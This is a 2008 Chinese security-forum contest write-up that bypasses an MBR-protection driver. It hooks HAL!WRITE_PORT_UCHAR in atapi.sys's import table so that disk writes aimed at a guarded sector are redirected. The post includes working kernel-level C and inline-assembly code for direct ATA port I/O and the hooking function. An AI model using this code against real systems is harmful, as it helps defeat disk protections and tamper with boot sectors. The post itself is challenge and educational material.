首页
社区
课程
招聘
[答题]1_曾定国
2008-12-15 11:40 1934

[答题]1_曾定国

2008-12-15 11:40
1934
第一题解题报告

一、分析
    刚开始我认为解这题的方法很简单,不管三七二十一直接io端口读写硬盘,然后解题完毕。压根不用管

mbrprot.sys 如何工作的,因为 mbrprot.sys 很难拦截 io 操作,难到几乎不可能。
代码写出来的时候我很高兴,因为在虚拟机(xp)上成功了,然而其实并没有,当我在真机子(2003)上运行时,失

败了...。这要批评一下mbrprot.sys  的稳定性了, mbrprot.sys  老是 无缘罢工,而且貌似在 xp 下有点问

题。走题了,不好意思...。

    经我观察 mbrprot.sys 并没有保护 硬盘的 1 号扇区,而是一味的向 1 号 扇区写入 0 。用 softice 设

这样的断点 bpio 1f7 w   我发现(没弄错的话) mbrprot.sys 每隔一段时间(约5s)检查 1 号扇区。 同时

我也发现 系统只有 atapi.sys 访问了硬盘, 也就是说 mbrprot.sys 是利用 atapi.sys 访问硬盘的,并非直

接 io 之类的。 那么现在的任务就很清楚了:只要阻止 mbrprot.sys 往 01 号写入 0 就可以了 (出这道题的

用意也清楚了,嘿嘿 ) 。

     怎么阻止 ? hook atapi.sys 的派遣函数吧 ,不过我第一时间想到的方法 说不定出题的人也早就想到

了... 。通过 跟踪断点 bpio 1f7 w ,我发现 atapi.sys 是通过 HAL!WRITE_PORT_UCHAR 向硬盘的寄存器写

数据的,如果 hook 掉 HAL!WRITE_PORT_UCHAR ,将 atapi.sys 向 硬盘写入的数据过滤掉,那么...

    但这方法是否可行呢,不用理论证明,因为我已经实践证明了。通过 hook 掉 HAL!WRITE_PORT_UCHAR 向

atapi.sys 提供一个虚假的硬件,拦截向真实硬盘发送的数据。其实该方法之所以可行完全依赖于 当向硬盘写

入 扇区号,磁道号,磁头号 等等时 ,硬盘不会有任何反应,所以把这些数据拦截下来 延迟发送才不会出错



二、我的实现方法
    由于在虚拟机上 mbrprot.sys 老是罢工,因此我只能在真机上进行了(不知道评委能不能看在 我蓝屏了

无数次,mbr被写坏了一次 的份上给俺多加几分呢...)。由于是在自己的机子上试,为了减小程序出错时的严

重性 我决定 只 hook atapi.sys 的 IAT(导入地址表),又因为 HAL!WRITE_PORT_UCHAR 这个函数本身就只有

几个指令,不用 hook 直接替换就可以了。
    总的来说,程序只有两步:1、直接 io 向硬盘 01 扇区写入 数据;2、替换 atapi.sys IAT 中的 HAL!

WRITE_PORT_UCHAR 为自己的 write_port 。

三、关键代码 (write_port 的代码)

放血了,有点痛,评委加点分鼓励一下吧。

1、直接 io 向硬盘 01 扇区写入 数据 的代码 网上到处都有。
2、hook 驱动导入表的代码 ,rootkit.com 上有, 看雪里面也有人(sysnap)发过 ,我是学习了他的一部分

(发扬了大学生的借鉴风格)
3、write_port 完全原创 (如果要“借鉴”请申明以下出处:zdg102)
申明:write_port 完全没有考虑 lba48 的情况(本人没有 160G 的硬盘),lba48 下无法正常工作

#define REG_CMD_BASE0        0x1F0

#define REG_DATA            0        /*数据寄存器*/       
#define REG_PRECOMP            1       
#define REG_COUNT            2        /*扇区数*/
#define REG_SECTOR            3        /*扇区号 */
#define REG_CYL_LO            4        /*  */
#define REG_CYL_HI            5        /*  */
#define REG_LDH                    6        /*  */

#define   CMD_WRITE                0x30        /* 写数据 */
#define          CMD_WRITE_EXT                0x34        /**/

void out_b(uint port,uint v)
{//写端口函数
        __asm{
                mov        edx,port;
                mov        eax,v;
                out        dx,al;

        }
}

int send_cmd(unsigned char p[],unsigned char cmd,unsigned int mask)
/*向硬盘发送命令,
p 数组是个寄存器的内容,cmd 是命令,mask 说明 p 中那些内容是有效的。
*/
{
        unsigned char i;
        unsigned int j;
        for(i = 1,j=0;(i&0xff)>0;i<<=1,j++)
        {
                if(mask & i)
                        out_b(REG_CMD_BASE0+j ,p[j]);
        }
        out_b(REG_CMD_BASE0 + REG_COMMAND, cmd);
        return 1;
}

unsigned char at_rig[8]={0,0,0,0,0,0,0,0}; /*保存 atapi.sys 向硬盘写入的数据*/
unsigned int rig_mask = 0;                 /*保存 atapi.sys 向硬盘哪些寄存器写入了数据*/

void __stdcall write_port(unsigned int port,unsigned int value)
/*        用来替换 WRITE_PORT_UCHAR  的函数
*/
{
        /*author: zdg102 */       
        port &=0xffff;
        value &= 0xff;

/*判断要写入的端口是否在 硬盘的端口范围之内*/

        if( port> REG_CMD_BASE0 && port <= REG_CMD_BASE0+ 7)
        {
                //判断是否是 控制命令
                if(port == (REG_CMD_BASE0+REG_COMMAND))
                {
                        // 判断是否是 写入命令
                        if(value == CMD_WRITE || value == CMD_WRITE_EXT || value == 0xca || value

== 0x35)
                        {
                                //判断 是否写入 01 号 扇区
                                if((at_rig[REG_CYL_HI] == 0)&& (at_rig[REG_CYL_LO] == 0) &&

(at_rig[REG_SECTOR] == 1) && ((at_rig[REG_LDH]&0x10) == 0))
                                {
                                        at_rig[REG_SECTOR] = 2;
                                        /*改为 2号 扇区,应该可以成一个不存在扇区,但我不敢在
                                        自己机子上试 */
                                }
                        }
                        //向真实硬盘 发送命令
                        send_cmd(at_rig,value,rig_mask);
                        rig_mask = 0;
                        return ;
                }
                else
                {
                        at_rig[port-REG_CMD_BASE0] = value;

                        if(port == (REG_CMD_BASE0 + REG_LDH) )
                                out_b(port,value);
                        else
                                rig_mask |= (1<<(port-REG_CMD_BASE0));
                       
                        return ;
                }
                return ;
        }
        else
        {
                out_b(port,value);
                return ;
        }
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 198
活跃值: (13)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 1 2008-12-15 12:00
2
0
加载 MadeByZDG.sys 后,所有 向 01号 扇区写入的数据 都将被 转道 02 号 扇区。
可以用 winhex 试一下,很有意思的。

其实现 在 atapi.sys 还要往下一层。因此 什么 直接 irp  、 ioctrl 之类的 都无效

有个问题没有考虑的就是 :向 0 号扇区写入的数据 不会被 过滤,因此 如果向 0 号扇区写入 2 个扇区的数据 应该.....
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 9 2008-12-16 14:44
3
0
100分====
游客
登录 | 注册 方可回帖
返回